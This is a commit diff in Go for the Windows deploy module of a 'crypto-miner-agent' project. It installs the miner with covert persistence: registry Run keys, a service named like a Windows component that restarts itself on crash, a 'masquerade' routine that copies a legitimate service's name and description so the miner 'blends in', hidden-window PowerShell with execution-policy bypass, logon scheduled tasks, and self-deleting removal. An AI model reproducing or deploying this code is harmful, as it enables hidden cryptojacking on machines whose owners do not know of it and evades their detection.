Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -5,10 +5,9 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
@@ -29,9 +28,7 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
// Wrap in PowerShell so the console window is suppressed on startup.
|
||||
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
|
||||
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
|
||||
val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), val)
|
||||
}
|
||||
|
||||
@@ -46,41 +43,32 @@ func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
}
|
||||
}
|
||||
|
||||
// createWindowsService installs the miner as a real Windows Service with
|
||||
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
||||
// name and description are cloned from the donor service so it blends in.
|
||||
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
|
||||
// Tear down any stale instance first (errors are expected and ignored)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
// Give SCM time to fully remove the entry
|
||||
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
||||
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||
time.Sleep(time.Second)
|
||||
|
||||
// Create the service
|
||||
if err := exec.Command("sc.exe", "create", svcName,
|
||||
if err := HiddenRun("sc.exe", "create", svcName,
|
||||
"binPath=", `"`+binPath+`" --run`,
|
||||
"type=", "own",
|
||||
"start=", "auto",
|
||||
"error=", "ignore",
|
||||
).Run(); err != nil {
|
||||
); err != nil {
|
||||
return fmt.Errorf("sc create: %w", err)
|
||||
}
|
||||
|
||||
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
||||
_ = exec.Command("sc.exe", "failure", svcName,
|
||||
_ = HiddenRun("sc.exe", "failure", svcName,
|
||||
"reset=", "60",
|
||||
"actions=", "restart/0/restart/5000/restart/30000",
|
||||
).Run()
|
||||
)
|
||||
|
||||
// Start it
|
||||
_ = exec.Command("sc.exe", "start", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", "start", svcName)
|
||||
|
||||
// Masquerade: copy description from donor service
|
||||
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||
}
|
||||
@@ -88,28 +76,19 @@ func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// cloneServiceDescription copies the display name and description from
|
||||
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
||||
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$donor = Get-Service '%s' -EA SilentlyContinue
|
||||
if ($donor) {
|
||||
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
`,
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
@@ -117,33 +96,12 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
|
||||
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
|
||||
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
|
||||
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
|
||||
// from spamming the screen. The watchdog covers longer-term health.
|
||||
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(psArg, `'`, `''`),
|
||||
safeTask,
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||
out, err := HiddenCombinedOutput("cmd", "/C", "ver")
|
||||
if err != nil {
|
||||
return "windows"
|
||||
}
|
||||
@@ -151,7 +109,7 @@ func HostOSVersion() string {
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||
_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
@@ -161,22 +119,19 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
// Remove service — use the configured name if available, fall back to legacy pattern
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
dir := installDir
|
||||
go func() {
|
||||
time.Sleep(2 * time.Second)
|
||||
_ = os.RemoveAll(dir)
|
||||
}()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user